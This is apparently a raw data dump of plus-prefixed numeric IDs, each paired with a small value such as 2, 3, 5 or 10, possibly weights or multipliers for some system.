+15401 10 +15402 2 +15403 2 +15404 2 +15405 2 +15406 2 +15407 2 +15408 2 +15409 2 +15410 2 +15411 2 +15412 2 +15413 2 +15414 2 +15415 2 +15416 2 +15417 2 +15418 2 +15419 2 +15420 2 +15421 2 +15422 2 +15423 2 +15446 2 +15425 2 +15426 2 +15427 2 +15428 2 +15429 2 +15430 2 +15431 2 +15432 2 +15433 2 +15453 2 +15466 2 +15467 2 +15468 2 +15518 3 +15520 2 +15521 2 +15522 2 +15523 2 +15524 2 +15525 2 +15526 2 +15527 2 +15528 3 +15519 3 +15529 2 +15530 2 +15531 2 +19542 3 +15532 2 +15533 2 +15534 2 +16181 10 +16290 8 +16291 5 +16292 5 +16293 8 +16294 5 +16295 8 +16296 10 +16297 2 +16314 5 +16315 8 +16316 5 +16317 2 +16319 5 +16320 2 +16321 2 +16322 5 +16323 5 +16324 2 +16325 5 +16326 5 +16331 2 +16332 2 +16333 5 +16334 5 +16335 5 +16337 2 +16338 2 +16339 8 +16340 10 +16341 2 +16342 10 +16343 10 +16344 5 +16345 2 +16796 3 +16797 5 +16798 3 +16799 5 +16800 5 +16801 5 +16802 5 +16803 5 +16804 8 +16805 5 +16806 5 +16807 10 +16808 5 +16809 5 +16810 3 +16811 5 +20076 10 +20315 10 +16813 5 +16815 5 +16818 5 +16824 5 +16826 5 +16868 5 +16869 5 +16870 8 +16871 5 +16872 10 +16873 5 +16874 5 +16875 5 +16878 8 +19275 8 +20226 10 +20227 10 +20228 10 +16880 3 +16881 3 +16883 10 +16884 5 +16885 5 +16886 5 +16887 8 +16888 2 +16889 5 +16890 3 +16891 3 +16892 5 +16893 5 +16894 3 +16895 5 +16897 8 +16898 5 +20230 10 +20231 10 +20232 10 +20233 10 +19274 3 +18059 3 +17038 5 +17092 5 +17275 5 +17394 3 +17395 2 +17396 3 +17397 3 +17398 2 +17400 3 +17401 5 +17403 5 +17404 3 +17405 3 +17406 5 +17408 3 +17505 5 +17812 3 +17813 3 +17814 3 +17815 3 +17816 3 +17817 3 +17818 3 +17819 3 +17820 3 +17821 3 +17822 3 +17823 3 +17824 5 +17825 3 +17826 10 +17827 3 +17828 3 +17829 5 +17830 3 +17831 3 +17832 5 +17833 3 +17834 3 +17836 3 +17837 3 +17838 3 +17840 5 +17841 5 +17842 10 +17843 3 +17844 5 +17845 5 +17846 5 +17847 5 +17848 3 +17849 5 +17850 3 +17851 5 +17852 3 +17853 5 +17854 3 +17857 3 +17858 3 +17859 3 +17860 3 +17862 3 +17863 3 +18050 3 +17864 3 +17865 3 +17866 3 +17867 3 +17868 3 +17869 3 +17870 3 +17871 3 +17872 3 +17873 3 +17874 3 +17875 3 +17876 3 +17877 3 +17878 3 +17879 3 +17880 3 +17881 3 +17882 3 +18052 3 +18053 3 +18054 3 +18507 5 +18572 3 +18576 5 +18577 5 +18578 3 +18579 3 +18580 3 +18582 5 +18583 3 +18584 3 +18585 3 +18587 3 +18588 3 +18589 5 +18591 3 +18592 10 +18593 3 +18594 10 +18596 10 +18597 5 +18598 5 +18599 3 +18600 3 +19184 5 +19185 5 +19186 5 +19187 5 +19188 5 +19189 5 +19190 5 +19191 5 +19192 5 +19193 5 +19194 5 +19195 5 +19196 5 +19197 5 +19198 5 +19199 5 +19200 5 +19201 5 +19202 5 +19203 5 +19204 5 +19205 5 +19206 5 +19207 5 +19208 5 +19209 5 +19210 5 +19211 5 +19212 5 +19213 5 +19214 5 +19215 5 +19216 5 +19217 5 +19218 5 +19219 5 +19220 5 +19221 5 +19222 5 +19223 5 +19224 5 +19225 5 +19226 5 +19228 5 +19229 5 +19230 5 +19231 5 +19232 5 +19233 5 +19234 5 +19235 5 +19236 5 +19237 5 +19238 5 +19239 5 +19240 8 +19241 5 +19242 5 +19243 5 +19244 5 +19245 5 +19246 5 +19247 5 +19248 5 +19250 5 +19251 5 +19252 5 +19254 5 +19255 5 +19256 5 +19257 5 +19259 5 +19260 5 +19262 5 +19263 5 +19264 5 +19265 5 +19266 5 +19267 5 +19269 5 +19270 5 +19271 5 +7906 2 +7907 2 +7909 2 +7910 3 +7911 3 +7912 3 +7913 2 +7914 5 +7915 5 +7916 5 +7917 5 +7918 3 +7919 5 +7920 5 +7921 3 +7922 5 +7923 5 +7924 5 +7925 5 +7926 3 +7927 5 +7928 3 +7929 3 +7930 3 +7931 3 +7932 3 +7933 3 +7934 5 +7935 3 +7936 3 +7937 3 +7939 3 +7940 3 +7941 3 +7942 3 +7943 3 +7944 3 +7945 3 +7946 3 +7947 3 +7948 3 +7949 5 +7950 5 +7951 3 +7952 5 +7953 5 +7954 3 +7955 3 +7956 3 +7957 5 +7958 3 +7959 5 +7960 3 +7961 5 +7962 3 +7963 3 +7964 3 +7965 3 +7966 3 +7967 5 +7968 5 +7969 5 +7971 3 +7972 5 +7973 5 +7974 5 +7975 3 +7976 5 +7977 3 +7978 5 +7979 3 +7980 5 +7981 2 +7982 5 +7983 5 +7984 5 +7985 3 +7986 5 +7987 5 +7988 2 +7989 5 +7990 5 +7992 2 +7993 3 +7994 2 +7995 5 +7996 3 +7997 5 +7998 5 +7999 5 +8000 3 +8001 5 +8002 2 +8003 10 +8004 5 +8005 10 +8006 10 +8007 10 +8008 10 +8009 10 +8010 10 +8011 5 +8012 5 +8013 5 +8014 5 +8015 5 +8016 5 +8017 5 +8018 5 +8019 5 +8020 5 +8021 2 +8022 3 +8023 3 +8024 5 +8025 3 +8026 3 +8027 2 +8028 3 +8030 5 +8031 5 +8035 5 +8036 5 +8037 5 +8038 3 +8039 5 +8040 5 +8041 5 +8042 3 +8043 8 +8044 8 +8045 10 +8046 2 +8047 2 +8048 2 +8049 3 +8050 2 +8051 3 +8052 10 +8053 5 +8054 5 +8055 3 +8056 5 +8057 5 +8058 10 +8059 3 +8060 5 +8061 3 +8062 3 +8063 2 +8064 8 +8065 5 +8066 3 +8067 2 +8068 5 +20116 10 +20117 10 +20197 10 +20114 5 +20115 10 +8069 5 +8070 5 +8071 8 +8072 8 +8073 5 +8074 5 +8075 2 +8076 5 +8077 3 +8078 10 +8079 5 +8080 10 +8081 5 +8082 5 +8083 10 +8084 10 +8085 10 +8086 8 +8087 8 +20120 10 +20234 10 +8088 5 +8089 8 +8090 10 +8091 5 +8092 5 +8093 10 +8094 3 +8095 5 +8098 3 +8099 10 +8100 3 +8101 3 +8102 3 +8103 3 +8104 2 +8105 1.3 +8106 3 +8107 5 +8108 1.5 +8109 2 +8110 3 +8111 2 +8112 2 +8113 2 +8114 3 +8115 3 +8116 10 +8117 2 +8118 3 +8119 5 +20122 10 +8120 5 +8121 5 +8122 2 +8123 3 +8124 3 +8125 2 +8126 5 +8127 3 +8128 5 +8129 2 +8130 2 +8131 2 +8132 5 +8133 3 +8134 5 +8135 5 +8136 5 +8137 2 +8138 3 +8139 2 +8140 3 +8141 3 +8142 2 +8143 5 +20124 10 +20127 10 +20128 10 +8144 5 +8145 5 +8146 3 +8147 5 +8148 8 +8149 5 +8150 3 +8151 2 +8152 2 +8153 2 +8154 3 +8155 3 +8156 2 +8157 2 +8158 5 +8159 5 +8160 5 +8161 3 +8162 5 +8163 3 +8164 1.3 +8165 10 +8166 3 +8167 10 +8168 5 +8169 5 +8170 8 +8171 8 +8293 10 +8294 5 +8295 10 +8296 8 +8297 3 +8298 3 +8299 5 +8300 3 +8301 5 +8302 3 +8303 10 +8304 3 +8305 3 +8306 5 +8307 5 +8308 5 +8309 3 +8310 5 +8311 3 +8312 2 +8313 3 +8314 3 +8315 3 +8316 5 +8317 8 +8318 10 +8319 5 +8320 3 +8321 5 +8322 8 +8323 10 +8324 5 +8325 8 +8326 5 +8327 5 +8328 5 +8329 3 +8330 3 +8331 8 +8332 5 +8333 5 +8334 5 +8335 8 +8336 10 +8337 5 +8338 5 +8339 8 +8340 3 +8341 3 +8342 8 +8343 10 +8345 5 +8346 10 +8347 10 +8348 5 +8349 5 +8350 3 +8351 5 +8353 5 +8354 5 +8355 3 +8356 3 +8357 5 +8358 3 +8359 5 +8361 3 +8362 5 +8363 5 +8364 5 +8367 10 +8368 5 +8369 5 +8370 3 +8371 5 +8372 3 +8373 3 +8374 5 +8375 3 +8376 10 +8377 8 +8365 5 +8366 3 +20205 10 +20206 10 +8378 5 +8379 3 +8380 2 +8382 1.2 +8383 2 +8384 2 +8385 5 +8386 2 +8387 3 +8389 5 +8390 2 +8391 2 +8392 5 +8393 2 +8394 5 +8395 10 +8396 5 +8397 3 +8398 3 +8399 5 +8400 5 +8401 3 +8402 3 +8403 5 +8404 8 +8405 5 +8407 1.2 +8408 3 +8499 2 +8500 2 +8501 2 +8507 2 +10623 10 +10624 5 +10625 5 +10626 3 +10627 10 +10628 5 +10629 5 +10630 3 +10631 5 +10632 8 +10633 8 +10634 8 +10635 3 +10636 3 +10637 10 +10638 10 +10639 5 +10640 3 +10641 2 +10642 10 +10643 5 +10644 8 +10645 10 +10646 10 +10647 5 +10648 5 +10649 5 +10650 10 +10651 3 +10652 5 +10653 10 +10654 10 +10655 10 +10656 5 +10657 10 +10658 10 +10659 5 +10660 5 +10661 3 +10662 10 +10663 5 +10664 5 +10665 5 +10666 5 +10667 5 +10668 5 +10669 10 +10670 3 +10671 5 +10672 3 +10673 5 +10674 3 +10675 3 +10676 5 +10677 5 +10678 5 +10679 5 +10680 5 +10681 10 +10682 3 +10683 5 +10684 10 +10685 5 +10686 8 +10687 5 +10688 5 +10689 3 +10690 3 +10691 3 +10692 8 +10693 5 +10694 10 +10695 10 +10696 10 +10697 3 +10698 10 +10699 5 +10700 10 +10701 5 +10702 3 +10703 3 +10704 8 +10705 3 +10706 3 +10707 10 +10708 5 +10709 10 +10710 3 +10711 10 +10712 10 +10713 3 +10714 8 +10715 3 +10716 5 +10717 10 +10718 3 +10719 10 +10720 3 +10721 3 +10722 10 +10723 5 +10724 3 +10725 3 +10726 3 +10727 10 +10728 3 +10729 10 +10730 10 +10731 8 +10732 10 +10733 5 +10735 3 +10736 3 +10737 5 +10738 3 +10739 10 +10740 10 +10741 10 +10742 10 +10743 10 +10744 10 +10745 10 +10746 10 +10747 10 +10748 3 +10749 5 +10750 5 +10751 5 +10752 5 +10753 8 +18242 10 +18244 5 +18245 5 +18246 10 +18247 5 +18249 10 +18250 2 +18251 10 +18252 8 +18253 2 +18254 5 +18257 10 +18259 10 +18261 2 +18262 10 +10754 10 +10755 10 +10756 10 +10757 5 +10758 10 +10759 10 +10760 10 +10761 10 +10762 10 +10763 10 +10764 10 +10765 10 +10766 5 +10767 10 +10769 10 +10771 10 +10772 10 +10773 5 +10774 10 +10775 10 +10776 10 +19565 10 +19561 10 +19562 10 +19563 10 +10777 5 +10778 8 +10779 8 +10780 8 +10781 3 +10782 5 +10783 5 +10784 5 +10785 8 +10786 5 +10787 8 +18998 2 +4822 2 +4770 2 +4720 2 +4721 2 +2706 5 +2784 10 +5674 5 +6032 2 +6071 5 +6231 2 +6292 2 +6293 3 +6294 3 +6297 2 +6299 3 +6301 3 +6303 2 +6304 2 +6305 2 +6306 5 +6307 5 +6308 2 +6309 8 +6310 2 +6312 3 +6314 2 +6319 2 +6320 2 +6321 10 +6323 5 +6324 2 +6326 2 +6327 2 +6328 2 +6330 10 +6331 2 +6332 2 +6333 2 +6334 5 +6337 2 +6339 2 +6340 2 +6341 2 +6346 2 +6348 2 +6349 2 +6350 2 +6353 5 +6354 2 +6355 2 +6357 10 +6358 8 +6359 8 +6360 5 +6361 5 +6363 5 +6364 3 +6365 3 +6366 2 +6368 2 +6370 2 +6371 2 +6373 10 +6375 2 +6377 2 +6379 3 +6381 10 +6383 3 +6384 2 +6385 3 +6386 2 +6387 2 +6388 3 +6389 2 +6390 2 +6391 2 +6392 2 +6393 2 +6394 2 +6395 2 +7325 10 +7326 10 +7327 10 +7328 10 +7329 10 +7330 10 +7331 10 +7333 10 +7335 10 +7336 10 +7337 10 +7338 10 +7339 10 +7340 10 +7341 10 +7342 10 +7343 10 +7344 10 +7345 10 +7347 10 +7349 10 +7350 10 +7351 10 +7352 10 +7353 10 +7354 10 +7356 10 +7357 10 +7358 10 +7359 10 +7360 10 +7362 10 +7363 10 +7364 10 +7365 10 +7366 10 +7367 10 +7368 10 +7370 10 +7371 10 +7373 10 +7374 10 +7375 10 +7376 10 +7377 10 +7378 10 +7379 10 +7380 10 +7381 10 +7383 10 +7384 10 +7385 10 +7386 10 +7387 10 +7388 10 +7389 10 +7390 10 +7392 10 +7393 10 +7394 10 +7395 10 +7397 10 +7398 10 +7399 10 +7400 10 +7401 10 +7402 10 +7403 10 +7404 10 +7405 10 +7406 10 +7407 10 +7408 10 +7409 10 +7410 10 +7412 10 +7413 10 +7414 10 +7415 10 +7416 10 +7418 10 +7419 10 +7420 10 +7421 10 +7422 10 +7423 10 +7424 10 +7425 10 +7427 10 +7429 10 +7430 10 +7431 10 +7433 10 +7434 10 +7435 10 +7436 10 +7437 10 +7438 10 +7439 10 +7440 10 +7441 10 +7442 10 +7444 10 +7445 10 +7446 10 +7447 10 +7449 10 +7451 10 +7452 10 +7453 10 +7454 10 +7456 10 +7457 10 +7459 10 +7460 10 +7462 10 +7463 10 +7464 10 +7465 10 +7467 10 +7468 10 +7469 10 +7470 10 +7471 10 +7472 10 +7473 10 +7474 10 +7475 10 +7476 10 +7477 10 +7478 10 +7479 10 +7481 10 +7482 10 +7483 10 +7484 10 +7485 10 +7486 10 +7487 10 +7488 10 +7489 10 +7490 10 +7491 10 +7492 10 +7493 10 +7494 10 +7495 10 +7496 10 +7497 10 +7498 10 +7499 10 +7500 10 +7502 10 +7503 10 +7504 10 +7505 10 +7506 10 +7507 10 +7508 10 +7509 10 +7510 10 +7511 10 +7512 10 +7513 10 +7514 10 +8562 2 +8609 2 +8610 2 +8611 2 +8612 1.5 +8613 2 +8614 2 +8615 2 +8616 2 +8617 5 +8618 2 +8619 2 +8620 2 +8621 2 +8622 2 +8623 2 +8624 2 +8625 2 +8626 2 +8627 2 +8628 2 +8629 2 +8630 2 +8631 3 +8632 2 +8633 2 +9525 2 +9623 10 +14771 5 +14772 5 +14773 3 +14774 3 +14775 5 +14776 3 +14777 8 +14778 3 +14779 3 +14780 5 +14781 3 +14782 5 +14783 10 +14784 10 +14785 10 +14786 5 +14787 2 +14788 3 +14789 5 +14790 5 +14791 2 +14792 5 +14793 3 +14794 2 +14795 3 +14796 3 +14797 1.3 +14798 5 +14799 2 +14800 2 +14801 5 +14802 2 +14803 3 +14804 3 +14805 5 +14806 3 +14811 5 +14814 3 +14815 5 +14819 3 +14820 3 +14821 5 +14825 3 +14826 2 +14827 5 +14828 3 +14829 2 +14830 3 +14831 3 +14834 5 +14835 3 +14836 5 +14837 2 +14838 2 +14839 3 +14840 5 +14841 3 +14842 3 +14843 2 +14844 3 +14845 5 +14846 2 +14847 3 +14848 2 +14849 2 +14850 5 +14851 5 +14852 5 +14853 2 +14854 5 +14855 3 +14856 3 +14857 2 +14858 2 +14859 10 +14861 2 +14862 2 +14863 2 +14864 5 +14865 3 +14866 3 +14867 5 +14868 3 +14869 2 +14870 8 +14871 5 +14872 3 +14873 5 +14874 5 +14875 5 +14876 5 +14877 5 +14878 5 +14886 2 +14890 5 +14897 3 +14898 2 +14899 5 +14900 3 +14901 5 +14902 5 +14904 5 +14905 10 +14906 5 +14907 3 +14908 5 +14909 3 +14919 2 +14920 2 +14922 5 +14924 3 +14925 5 +14930 5 +14931 3 +15152 3 +17835 3 +17855 3 +18586 3 +19227 5 +7908 3 +7938 2 +7970 5 +7991 5 +8029 2 +8033 3 +8034 3 +10788 5 +10789 5 +10790 10 +10791 10 +10792 10 +10793 10 +10794 10 +10795 8 +10796 10 +10797 5 +10798 5 +10799 5 +10800 10 +15538 10 +10801 5 +10802 5 +10803 3 +10804 5 +10805 8 +10806 3 +10807 3 +10808 1.1 +10809 10 +10810 3 +10811 3 +10812 2 +10813 5 +10814 10 +10815 10 +10816 10 +10817 10 +10818 10 +10819 10 +10820 10 +10821 10 +10822 2 +10823 3 +10824 10 +10825 2 +10826 8 +10827 3 +10828 10 +10829 5 +10830 10 +10831 5 +10832 3 +10833 2 +10834 3 +10835 10 +10836 8 +10837 5 +10838 5 +10839 10 +10840 3 +19549 5 +10842 3 +10844 10 +10845 8 +10846 10 +10847 10 +10848 10 +10849 8 +10850 10 +10851 10 +10852 8 +10853 5 +10854 3 +10855 8 +10856 3 +10857 10 +10858 3 +10859 2 +10860 3 +10861 10 +10862 3 +10863 5 +10864 10 +10865 10 +10866 10 +10867 8 +10868 10 +10869 5 +10870 5 +10871 5 +10872 5 +10873 8 +10874 5 +10875 3 +10876 10 +10877 3 +10878 5 +10879 5 +10880 3 +10881 5 +10882 5 +10883 5 +10884 5 +10885 3 +10886 2 +10887 10 +10888 3 +10889 3 +19544 10 +19545 10 +19546 10 +19547 10 +19548 10 +14663 8 +14664 8 +14665 2 +14666 5 +14667 3 +14668 5 +14669 2 +14671 5 +14672 5 +14673 3 +14674 8 +14675 5 +14676 5 +14677 2 +14678 10 +14679 10 +14680 3 +14681 8 +14682 10 +14683 3 +10890 10 +10891 5 +10892 10 +10893 10 +10894 10 +10895 10 +10896 10 +10897 3 +10898 5 +10899 10 +10900 10 +10901 5 +10902 10 +10903 5 +10904 3 +10905 5 +10906 2 +10907 5 +10908 3 +10909 5 +10910 5 +10911 1.1 +10912 10 +10913 5 +10914 2 +10915 3 +10916 5 +10917 3 +10918 2 +10919 2 +10920 5 +10921 3 +10933 10 +10934 10 +10935 10 +10936 10 +10937 10 +10938 10 +10939 10 +10940 10 +10941 10 +10942 10 +10943 10 +10944 10 +10945 10 +10946 10 +10947 10 +10948 10 +10959 10 +10960 10 +10961 10 +10962 10 +10963 10 +10964 10 +10965 10 +10966 10 +10967 10 +10968 10 +10969 10 +10970 10 +10971 10 +10972 3 +10973 10 +10974 8 +10975 3 +10976 8 +10977 2 +10978 2 +10979 2 +10980 2 +10981 3 +10982 5 +10983 2 +10984 10 +10985 10 +10986 10 +10987 10 +10988 8 +10989 5 +10990 3 +10991 10 +10992 5 +10993 10 +10994 10 +10995 10 +10996 5 +10997 1.2 +10998 5 +10999 5 +11000 10 +11001 10 +11002 2 +11003 10 +11004 10 +11005 2 +11006 2 +11007 3 +11008 5 +11009 2 +11010 8 +11011 10 +11012 3 +11013 2 +11014 5 +11015 10 +11016 5 +11017 2 +11018 3 +11019 5 +11020 5 +11021 3 +11022 10 +11023 10 +11024 2 +11025 5 +11026 2 +11027 8 +11028 5 +11030 10 +11031 5 +11032 5 +11033 10 +11034 3 +11035 10 +11036 2 +11037 3 +11038 5 +11039 8 +11040 10 +11041 10 +11042 10 +11043 10 +11044 10 +11045 10 +11046 10 +11047 10 +11048 10 +11049 10 +11050 10 +11051 10 +11052 10 +11053 10 +11054 10 +11055 10 +11056 10 +11057 10 +11058 10 +11059 10 +11060 10 +11061 10 +11062 10 +11063 10 +11064 10 +11065 10 +11066 10 +11067 10 +11068 10 +11069 10 +11070 10 +11071 10 +11072 10 +11073 10 +11074 10 +11075 10 +11076 10 +11077 10 +11078 10 +11079 10 +11080 5 +11081 10 +11082 5 +11083 10 +11084 10 +11085 10 +11086 5 +11087 3 +11088 10 +11089 10 +11090 5 +11091 10 +11092 10 +11093 10 +11094 10 +11095 10 +11096 10 +11097 10 +11098 10 +11099 10 +11100 10 +11101 10 +11102 10 +11103 10 +11104 10 +11105 10 +11106 10 +11107 10 +11108 10 +11109 10 +11110 10 +11111 10 +11112 10 +11113 10 +11114 10 +11115 10 +11116 10 +11117 10 +11118 10 +11119 10 +11120 10 +11121 10 +11122 10 +11123 10 +11124 10 +11125 10 +11126 10 +11127 10 +11128 10 +11129 10 +11130 10 +11131 10 +11132 10 +11133 10 +11134 10 +11135 10 +11136 10 +11137 10 +11138 10 +11139 10 +11140 10 +11141 10 +11142 10 +11143 10 +11144 10 +11145 10 +11146 10 +11147 10 +11148 5 +11149 10 +11150 10 +11151 10 +11152 10 +11153 10 +11154 10 +11155 10 +11156 10 +11157 10 +11158 10 +11159 10 +11160 10 +11161 10 +11162 10 +11163 10 +11164 10 +11165 10 +11166 10 +11167 10 +11168 10 +11169 10 +11170 10 +11171 10 +11172 10 +11173 10 +11174 10 +11175 10 +11176 10 +19569 10 +11177 10 +11178 10 +11179 10 +11180 10 +11181 10 +11182 10 +11183 10 +11184 10 +11185 10 +11186 10 +11187 10 +11188 10 +11189 10 +11190 10 +11191 10 +11192 10 +11193 10 +11194 10 +11195 10 +19570 10 +11196 5 +11197 10 +11198 10 +11199 10 +11200 10 +11201 10 +11202 10 +11203 10 +11204 10 +11205 10 +11206 10 +11207 10 +11208 10 +11209 10 +11210 10 +11211 10 +11212 10 +11213 10 +11214 10 +11215 10 +11216 10 +11217 10 +11218 10 +11219 10 +11220 10 +11221 10 +11222 10 +11223 10 +11224 10 +19116 8 +19117 10 +11225 5 +11226 10 +11227 10 +11228 10 +11229 10 +11230 10 +11231 10 +11232 10 +11233 10 +11234 10 +11235 10 +11236 10 +11237 10 +11238 10 +11239 10 +11240 10 +11241 10 +11242 10 +11243 10 +11244 10 +11245 10 +11246 10 +11247 10 +11248 10 +11249 10 +11250 10 +11251 10 +11252 10 +11253 10 +11254 10 +11255 10 +11256 10 +11257 10 +11258 10 +11259 10 +11260 10 +11261 10 +11262 10 +11263 10 +11264 10 +11265 10 +11266 10 +11267 10 +11268 10 +11269 10 +11270 10 +11271 10 +11272 10 +11273 10 +11274 10 +11275 10 +11276 10 +11277 10 +11278 10 +11279 10 +11280 10 +11281 10 +11282 10 +11283 10 +11284 10 +11285 10 +11286 10 +11287 10 +11288 10 +11289 10 +11290 10 +11291 10 +11292 10 +11293 10 +11294 10 +11295 10 +11296 10 +11298 10 +11299 10 +11300 10 +11301 10 +11302 10 +11303 10 +11305 10 +11306 10 +11307 10 +11308 10 +11309 10 +11310 10 +11311 10 +11312 10 +11313 10 +11314 10 +11315 10 +11316 10 +11317 10 +11318 10 +11319 10 +11320 10 +20134 2 +11321 10 +11322 10 +11323 10 +11324 10 +11325 10 +11326 10 +11327 10 +11328 10 +11329 10 +11330 10 +11331 10 +11332 10 +11333 10 +11334 10 +11335 10 +11336 10 +11337 10 +11338 10 +11339 10 +11340 10 +11341 10 +11342 10 +11343 10 +11344 10 +11345 10 +11346 10 +11347 10 +11348 10 +11349 10 +11350 10 +11351 10 +11352 10 +11353 10 +11354 10 +11355 10 +11356 10 +11357 10 +11358 10 +11359 10 +11360 10 +11361 5 +11362 10 +11363 10 +11364 10 +11365 10 +11366 10 +11367 10 +11368 10 +11369 10 +11370 10 +11371 10 +11372 10 +11373 10 +11374 10 +11375 10 +11376 10 +11377 10 +11378 10 +11379 10 +11380 10 +11381 10 +11382 10 +11383 10 +11384 10 +11385 10 +11386 10 +11387 10 +11388 10 +11389 10 +11390 10 +11391 10 +11392 10 +11393 10 +11394 10 +11395 10 +11396 10 +11397 10 +11398 10 +11399 10 +11400 10 +11401 10 +11402 10 +11403 10 +11404 10 +11405 10 +11406 10 +11407 10 +11408 10 +11409 10 +11410 10 +11411 10 +11412 10 +11413 10 +11414 10 +11415 10 +11416 10 +11417 10 +11418 10 +11419 10 +11420 10 +11421 10 +11422 10 +11423 10 +11424 10 +11425 10 +11426 10 +11427 10 +11428 10 +11429 10 +11430 10 +11431 10 +11432 10 +11433 10 +11434 10 +11435 8 +11436 10 +11437 10 +11438 10 +11439 10 +11440 10 +11441 10 +11442 10 +11443 10 +11444 10 +11445 10 +11446 10 +11447 10 +11448 10 +11449 10 +11450 10 +11451 10 +11452 10 +11453 10 +11454 10 +11455 10 +11456 10 +11457 10 +11458 10 +11459 10 +11460 10 +11461 10 +11462 10 +11464 10 +11465 10 +11466 10 +11467 10 +11468 10 +11469 10 +11470 10 +11471 10 +11472 10 +11473 10 +11474 10 +11475 10 +11476 10 +11477 10 +11478 10 +11479 10 +11480 10 +11481 10 +11482 10 +11483 10 +11484 10 +11485 10 +11486 10 +11487 10 +11488 10 +11489 10 +11490 10 +11491 10 +11492 10 +11493 10 +11494 10 +11495 10 +11496 10 +11497 10 +11498 10 +11499 10 +11500 10 +11501 10 +11502 10 +11503 10 +11504 10 +11505 10 +11506 10 +11507 10 +11508 10 +11509 10 +11510 10 +11511 10 +11512 10 +11513 10 +11514 10 +11515 10 +11516 10 +11517 10 +11518 10 +11519 10 +11520 10 +11521 10 +11522 10 +11523 10 +11524 10 +11525 10 +11526 10 +11527 10 +11528 10 +11529 10 +11530 10 +11531 10 +11532 10 +11533 10 +11534 10 +11535 10 +11536 10 +11537 10 +11538 10 +11539 10 +11540 10 +11541 10 +11542 10 +11543 10 +11544 10 +11545 10 +11546 10 +11547 10 +11548 10 +19574 10 +11549 10 +11550 10 +11551 10 +11552 10 +11553 10 +11554 10 +11555 10 +11556 10 +11557 10 +11558 10 +11559 10 +11560 10 +11561 10 +11562 10 +11563 10 +11564 10 +11565 10 +11566 10 +11567 10 +11568 10 +11569 10 +11570 10 +11571 10 +11572 10 +11573 10 +11574 10 +11575 10 +11576 10 +11577 10 +19575 10 +11578 10 +11579 10 +11580 10 +11581 10 +11582 10 +11583 10 +11584 10 +11585 10 +11586 10 +19576 10 +20304 10 +20305 10 +20306 10 +11587 10 +11588 10 +11589 10 +11590 10 +11591 10 +11592 10 +11593 10 +11594 10 +11595 10 +11596 10 +11597 10 +11598 5 +11599 10 +11600 10 +11601 10 +11602 10 +11603 10 +11604 2 +11606 1.3 +11607 10 +11608 5 +11609 5 +11610 8 +11611 10 +11612 10 +11613 3 +11614 2 +11615 10 +11616 3 +11617 1.5 +11618 3 +11619 10 +11620 8 +11621 10 +11622 3 +11623 2 +11624 10 +11625 5 +11626 5 +11627 5 +11628 5 +11629 5 +11630 8 +11631 2 +11632 5 +11633 3 +11634 3 +11635 3 +11636 3 +11637 10 +11639 3 +11640 5 +11641 10 +11642 5 +11643 2 +11644 5 +11645 5 +11649 3 +11650 3 +11651 3 +11652 3 +11653 5 +11654 5 +18757 3 +18758 10 +18759 5 +11655 3 +11656 3 +11657 5 +11658 8 +11659 3 +11660 5 +11661 5 +11662 3 +11663 3 +11664 10 +11665 3 +11666 3 +11669 3 +11670 5 +11671 3 +11672 10 +11673 3 +11674 5 +11675 5 +11676 10 +11677 3 +11678 3 +11679 3 +11680 2 +11681 2 +11682 3 +12600 5 +12601 2 +12602 3 +12603 3 +12604 5 +12605 5 +12606 10 +12607 3 +12608 5 +12609 3 +12610 2 +12611 2 +12612 2 +12613 2 +12614 2 +12615 1.3 +12616 2 +12617 2 +12618 2 +12620 2 +12621 2 +12622 2 +12623 2 +12624 2 +12625 2 +12626 2 +12627 2 +12628 2 +12629 2 +12630 2 +12631 2 +12632 2 +12633 2 +12634 2 +12635 2 +12636 2 +12637 2 +12638 2 +12639 2 +12640 5 +12641 3 +12642 3 +12643 3 +12644 5 +12645 5 +12646 2 +12647 3 +12648 2 +12649 2 +12650 2 +12651 3 +12652 2 +12653 2 +12654 2 +12655 3 +12656 2 +12657 2 +12658 2 +12659 2 +12660 2 +12661 2 +12662 3 +12663 3 +12664 2 +12665 2 +12666 2 +12667 3 +12668 2 +12669 2 +12670 2 +12671 2 +12672 2 +12673 2 +12674 2 +12675 2 +12676 1.3 +12677 2 +12678 3 +12679 3 +12680 5 +12681 5 +12682 5 +12683 5 +12684 5 +12685 5 +12686 5 +12687 5 +12688 5 +12689 5 +12690 10 +12691 5 +12692 5 +12693 10 +12694 10 +12695 5 +12696 10 +12697 5 +12698 3 +12699 3 +12700 5 +12701 5 +12702 2 +12703 2 +12704 2 +12705 3 +12706 3 +12707 3 +12708 3 +12709 3 +12710 3 +12711 3 +12712 3 +12713 2 +12714 2 +12715 2 +12716 5 +12717 2 +12718 3 +12719 3 +12720 5 +12721 5 +12722 5 +12723 5 +12724 5 +12725 5 +12726 5 +12727 3 +12728 2 +12729 3 +12730 5 +12731 5 +12732 5 +12733 5 +12734 3 +12735 5 +12736 3 +12737 2 +12738 3 +12739 2 +12740 3 +12741 3 +12742 10 +12743 3 +12744 2 +12745 2 +12746 2 +12747 3 +12748 3 +12749 3 +12750 3 +12751 3 +12752 3 +12753 3 +12754 3 +12755 3 +12756 10 +12757 3 +12758 3 +12759 2 +12760 3 +12761 3 +12762 5 +12763 2 +12764 3 +12765 5 +12766 3 +12767 3 +12768 3 +12769 2 +12770 2 +12771 2 +12772 2 +12773 2 +12774 3 +12775 2 +12776 3 +12777 3 +12778 5 +12779 2 +12780 2 +12781 2 +12782 3 +12783 3 +12784 3 +12785 3 +12786 10 +12787 2 +12788 10 +12789 5 +12790 5 +12791 10 +12792 10 +12793 10 +12794 5 +12795 10 +12796 10 +12797 10 +12798 10 +12799 10 +12800 10 +12801 10 +12802 10 +12803 10 +12804 10 +12805 10 +12806 10 +12807 10 +12808 5 +12809 10 +12810 10 +12814 5 +12815 10 +12816 5 +18766 10 +18767 10 +12817 2 +12818 5 +12819 5 +12820 10 +12821 5 +12822 5 +12823 5 +12824 5 +12825 5 +12826 10 +12827 5 +12828 5 +12829 5 +12830 5 +12831 3 +12832 5 +12833 10 +12834 5 +12835 5 +12836 5 +12837 5 +12838 10 +13163 10 +12839 2 +12840 10 +12841 10 +12842 10 +12843 10 +12844 10 +12845 10 +12846 10 +12847 10 +12848 2 +12849 10 +12850 10 +12851 10 +12852 10 +12853 10 +12854 10 +12855 10 +12856 10 +12857 10 +12858 5 +12859 10 +12860 5 +12861 2 +12863 5 +12864 2 +12865 10 +12866 10 +12867 10 +12868 10 +12869 3 +12870 5 +12871 5 +12872 10 +12873 5 +12874 10 +12875 5 +12876 5 +12877 5 +12878 5 +12879 5 +12880 5 +12881 5 +12882 5 +12883 10 +12884 5 +12885 5 +12886 5 +12887 5 +12888 5 +12889 10 +12890 10 